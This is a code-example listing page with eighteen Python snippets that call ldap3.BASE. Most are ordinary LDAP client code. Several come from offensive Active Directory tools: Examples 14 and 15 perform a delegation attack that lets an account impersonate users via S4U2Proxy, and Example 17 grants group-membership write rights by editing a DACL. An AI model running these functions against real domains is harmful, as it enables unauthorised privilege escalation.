Python ldap3.BASE Examples

The following are 18 code examples of ldap3.BASE(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module ldap3 , or try the search function .
Example #1
Source File: client_ldap3.py    From code with MIT License 6 votes vote down vote up
def search(self, base, filter=None, scope=None, attrs=None):
        filter = filter or "(objectClass=*)"
        scope = {
            "base":         ldap3.BASE,
            "subtree":      ldap3.SUBTREE,
            "sub":          ldap3.SUBTREE,
            "onelevel":     ldap3.LEVEL,
            "one":          ldap3.LEVEL,
            # not natively supported by ldap3
            #"subordinate":  ldap3.SUBORDINATE,
            #"child":        ldap3.SUBORDINATE,
        }[scope or "subtree"]
        attrs = [*attrs] if attrs else ["*"]
        ok = self.conn.search(base, filter,
                              search_scope=scope,
                              attributes=attrs)
        entries = self.conn.entries
        entries = [(entry.entry_dn, entry.entry_raw_attributes) for entry in entries]
        return entries 
Example #2
Source File: _ldap.py    From treadmill with Apache License 2.0 6 votes vote down vote up
def get_repls(self):
        """Get replication information.

        NOTE: OpenLDAP specific
        """
        # paged_search does not work with cn=config backend, so using low level
        # search instead of higher level wrappers.
        result = self.search(
            search_base='olcDatabase={1}mdb,cn=config',
            search_filter='(objectclass=olcMdbConfig)',
            attributes=['olcSyncrepl'],
            search_scope=ldap3.BASE,
        )
        entry = next(iter(result), {}).get('attributes')
        if entry:
            return entry.get('olcSyncrepl')
        else:
            return None 
Example #3
Source File: domain.py    From BloodHound.py with MIT License 5 votes vote down vote up
def ldap_get_single(self, qobject, attributes=None, use_gc=False, use_resolver=False):
        """
        Get a single object, requires full DN to object.
        This function supports searching both in the local directory and the Global Catalog.
        The connection to the GC should already be established before calling this function.
        """
        if use_gc:
            searcher = self.gcldap
        else:
            # If this request comes from the resolver thread, use that
            if use_resolver:
                searcher = self.resolverldap
            else:
                searcher = self.ldap
        if attributes is None or attributes == []:
            attributes = ALL_ATTRIBUTES
        try:
            sresult = searcher.extend.standard.paged_search(qobject,
                                                            '(objectClass=*)',
                                                            search_scope=BASE,
                                                            attributes=attributes,
                                                            paged_size=10,
                                                            generator=False)
        except LDAPNoSuchObjectResult:
            # This may indicate the object doesn't exist or access is denied
            logging.warning('LDAP Server reported that the object %s does not exist.', qobject)
            return None
        for e in sresult:
            if e['type'] != 'searchResEntry':
                continue
            return e 
Example #4
Source File: client_ldap3.py    From code with MIT License 5 votes vote down vote up
def read_attr(self, dn, attr, raw=False):
        if not self.conn.search(dn, "(objectClass=*)",
                                search_scope=ldap3.BASE,
                                attributes=[attr]):
            raise Exception("search failed", self.conn.result)
        entry = self.conn.entries[0]
        if raw:
            return entry[attr].raw_values
        else:
            return entry[attr].values 
Example #5
Source File: client_ldap3.py    From code with MIT License 5 votes vote down vote up
def read_entry(self, dn, raw=False):
        if not self.conn.search(dn, "(objectClass=*)",
                                search_scope=ldap3.BASE,
                                attributes=[attr]):
            raise Exception("search failed", conn.result)
        entry = self.conn.entries[0]
        if raw:
            return CaseInsensitiveDict(entry.entry_raw_attributes)
        else:
            return CaseInsensitiveDict(entry.entry_attributes_as_dict) 
Example #6
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_owner(ldapconnection, data):
        # Set SD flags to only query for owner
        controls = security_descriptor_control(sdflags=0x01)
        usersid = data['old_owner_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        if secDesc['OwnerSid'].formatCanonical() == usersid:
            print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn'])
            return True
        secDesc['OwnerSid'] = LDAP_SID()
        secDesc['OwnerSid'].fromCanonical(usersid)

        secdesc_data = secDesc.getData()
        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls)
        if res:
            print_o('Owner restore succesful')
            return True
        else:
            # Constraintintersection means we can't change the owner to this SID
            # TODO: investigate why this is and possible workarounds
            if ldapconnection.result['result'] == 19:
                print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid))
                # Treat this as a success
                return True
            raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result))) 
Example #7
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_i('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #8
Source File: restore.py    From CVE-2019-1040 with MIT License 5 votes vote down vote up
def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_i('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #9
Source File: _ldap.py    From treadmill with Apache License 2.0 5 votes vote down vote up
def get(self, dn, query, attrs, paged_search=True, dirty=False):
        """Gets LDAP object given dn."""
        if paged_search:
            search_func = self.paged_search
        else:
            search_func = self.search

        result = search_func(search_base=dn,
                             search_filter=six.text_type(query),
                             search_scope=ldap3.BASE,
                             attributes=attrs,
                             dirty=dirty)

        return next(iter(result), {}).get('attributes') 
Example #10
Source File: models.py    From realms-wiki with GNU General Public License v2.0 5 votes vote down vote up
def bind_search(self):
        logger = logging.getLogger("realms.auth.ldap")
        bind_dn = self.config.get('BIND_DN') or None
        base_dn = self.config['USER_SEARCH']['base']
        filtr = self.config['USER_SEARCH']['filter'] % {'username': self.userid}
        scope = self.config['USER_SEARCH'].get('scope', 'subtree').lower().strip()
        if scope == "level":
            scope = ldap3.LEVEL
        elif scope == "base":
            scope = ldap3.BASE
        else:
            scope = ldap3.SUBTREE

        self.conn = ldap3.Connection(
            self.server,
            user=bind_dn,
            password=self.config.get('BIND_AUTH') or None,
            version=self.version
        )

        if not self.start_tls():
            return None

        if not self.conn.bind():
            logger.error("Can't bind to the LDAP server with provided credentials ({})'".format(bind_dn))
            return None

        logger.debug("Successfull BIND for '{}'".format(bind_dn))

        try:
            if not self.conn.search(base_dn, filtr, attributes=ldap3.ALL_ATTRIBUTES, search_scope=scope):
                logger.info("User was not found in LDAP: '{}'".format(self.userid))
                return None
            user_dn = self.conn.response[0]['dn']
            attrs = self._get_attributes(self.conn.response)
            # the user was found in LDAP, now let's try a BIND to check the password
            return attrs if self.conn.rebind(user=user_dn, password=self.password) else None
        finally:
            self.close() 
Example #11
Source File: models.py    From realms-wiki with GNU General Public License v2.0 5 votes vote down vote up
def direct_bind(self):
        logger = logging.getLogger("realms.auth.ldap")
        bind_dn = self.config['BIND_DN'] % {'username': self.userid}
        self.conn = ldap3.Connection(
            self.server,
            user=bind_dn,
            password=self.password,
            version=self.version
        )
        if not self.start_tls():
            # START_TLS was required but it failed
            return None
        if not self.conn.bind():
            logger.info("Invalid credentials for '{}'".format(self.userid))
            return None

        logger.debug("Successfull BIND for '{}'".format(bind_dn))

        try:
            attrs = {}
            if self.conn.search(
                bind_dn,                                       # base: the user DN
                "({})".format(bind_dn.split(",", 1)[0]),       # filter: (uid=...)
                attributes=ldap3.ALL_ATTRIBUTES,
                search_scope=ldap3.BASE
            ):
                attrs = self._get_attributes(self.conn.response)
            return attrs
        finally:
            self.close() 
Example #12
Source File: restore.py    From aclpwn.py with MIT License 5 votes vote down vote up
def remove_owner(ldapconnection, data):
        # Set SD flags to only query for owner
        controls = security_descriptor_control(sdflags=0x01)
        usersid = data['old_owner_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        if secDesc['OwnerSid'].formatCanonical() == usersid:
            print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn'])
            return True
        secDesc['OwnerSid'] = LDAP_SID()
        secDesc['OwnerSid'].fromCanonical(usersid)

        secdesc_data = secDesc.getData()
        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls)
        if res:
            print_o('Owner restore succesful')
            return True
        else:
            # Constraintintersection means we can't change the owner to this SID
            # TODO: investigate why this is and possible workarounds
            if ldapconnection.result['result'] == 19:
                print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid))
                # Treat this as a success
                return True
            raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result))) 
Example #13
Source File: restore.py    From aclpwn.py with MIT License 5 votes vote down vote up
def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #14
Source File: ldapattack.py    From Slackor with GNU General Public License v3.0 4 votes vote down vote up
def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return 
Example #15
Source File: ldapattack.py    From CVE-2019-1040 with MIT License 4 votes vote down vote up
def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return 
Example #16
Source File: restore.py    From aclpwn.py with MIT License 4 votes vote down vote up
def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result))) 
Example #17
Source File: exploitation.py    From aclpwn.py with MIT License 4 votes vote down vote up
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result))) 
Example #18
Source File: post-setup-add-components.py    From community-edition-setup with MIT License 4 votes vote down vote up
def add_client2script(script_inum, client_id):
    dn = 'inum={},ou=scripts,o=gluu'.format(script_inum)

    if persistence_type == 'ldap':
        ldap_conn.search(search_base=dn, search_filter='(objectClass=*)', search_scope=ldap3.BASE, attributes=['oxConfigurationProperty'])
        
        for e in ldap_conn.response[0]['attributes'].get('oxConfigurationProperty', []):
            try:
                oxConfigurationProperty = json.loads(e)
            except:
                continue
            if isinstance(oxConfigurationProperty, dict) and oxConfigurationProperty.get('value1') == 'allowed_clients':
                if not client_id in oxConfigurationProperty['value2']:
                    oxConfigurationProperty['value2'] = add2strlist(client_id, oxConfigurationProperty['value2'])
                    oxConfigurationProperty_js = json.dumps(oxConfigurationProperty)
                    ldap_conn.modify(
                        dn,
                        {'oxConfigurationProperty': [ldap3.MODIFY_DELETE, e]}
                        )
                    ldap_conn.modify(
                        dn,
                        {'oxConfigurationProperty': [ldap3.MODIFY_ADD, oxConfigurationProperty_js]}
                        )
                    break

    else:
        n1ql = 'SELECT oxConfigurationProperty FROM `gluu` USE KEYS "scripts_{}"'.format(script_inum)
        result = setupObj.cbm.exec_query(n1ql)
        js = result.json()

        oxConfigurationProperties = js['results'][0]['oxConfigurationProperty']
        for i, oxconfigprop_str in enumerate(oxConfigurationProperties):
            oxconfigprop = json.loads(oxconfigprop_str)
            if oxconfigprop.get('value1') == 'allowed_clients' and not client_id in oxconfigprop['value2']:
                oxconfigprop['value2'] = self.add2strlist(client_id, oxconfigprop['value2'])
                oxConfigurationProperties[i] = json.dumps(oxconfigprop)
                break
        else:
            return

        n1ql = 'UPDATE `gluu` USE KEYS "scripts_{}" SET `oxConfigurationProperty`={}'.format(script_inum, json.dumps(oxConfigurationProperties))
        setupObj.cbm.exec_query(n1ql)